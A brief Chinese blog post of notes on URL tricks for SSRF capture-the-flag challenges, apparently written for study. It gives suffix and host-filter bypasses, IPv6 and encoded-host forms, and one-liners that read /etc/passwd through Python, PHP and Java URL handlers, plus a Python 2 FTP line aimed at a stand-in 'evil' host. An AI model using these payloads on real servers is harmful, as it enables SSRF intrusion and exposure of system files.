关于url的一些小trick

前言

感觉最近遇到挺多ssrf的题目,然后就遇到了挺多这种url绕过的小trick,所以来复习一下

1.访问路径的后缀被写死时
可以使用?a=后缀,或者#进行绕过
eg:

以jpg结尾
http://xxxx?a=jpg
此时访问的内容即为?a前面的东西

2.

requests 

ipv6、ipv6 zone

requests.get(http://[::FFFF:127.0.0.1]:23334) requests.get(http://[::FFFF:127.0.0.1%abc]:23334)

host 支持 url 编码,端口号数字扩展位数

requests.get(http://%61.baidu.com:00080).text

3.python的urllib支持读取任意文件

``python # python3 # 
都相当于打开了 (http://a.baidu.com/) urllib.request.urlopen(http://[a.baidu.com]).read()
urllib.request.urlopen(<http://[a.baidu.com]>).read()
urllib.request.urlopen(<URL:http://[a.baidu.com]>).read()
urllib.request.urlopen('file:///etc/passwd').read()
# python2
# 都相当于打开了 [http://a.baidu.com](http://a.baidu.com/)
urllib.urlopen(<URL:http://[a.baidu.com]>).read() # 读文件 老东西了
urllib.urlopen('local_file:///etc/passwd').read()
urllib.urlopen('local-file:///etc/passwd').read() # 相当于用 ftp 打开
urllib.urlopen('//localhost:23334') urllib.urlopen('ftp://evil:23334') #
若服务端返回 PASV 模式的服务器与端口,python 2 不做验证直接连接
urllib.urlopen('local_file:///etc/passwd').read()
urllib.urlopen('local-file:///etc/passwd').read()

4.

PHP:file_get_contents("file://localhost/etc/passwd");

5.

Java:new URL('url:file:///etc/passwd')

6.ipv6三个小trick

x.1.ip6.name
0--1.ipv6-literal.net
2408-8207-1850-2a60--4c8.ipv6-literal.net
Author

vague huang

Posted on

2021-09-19

Updated on

2021-09-20

Licensed under

Comments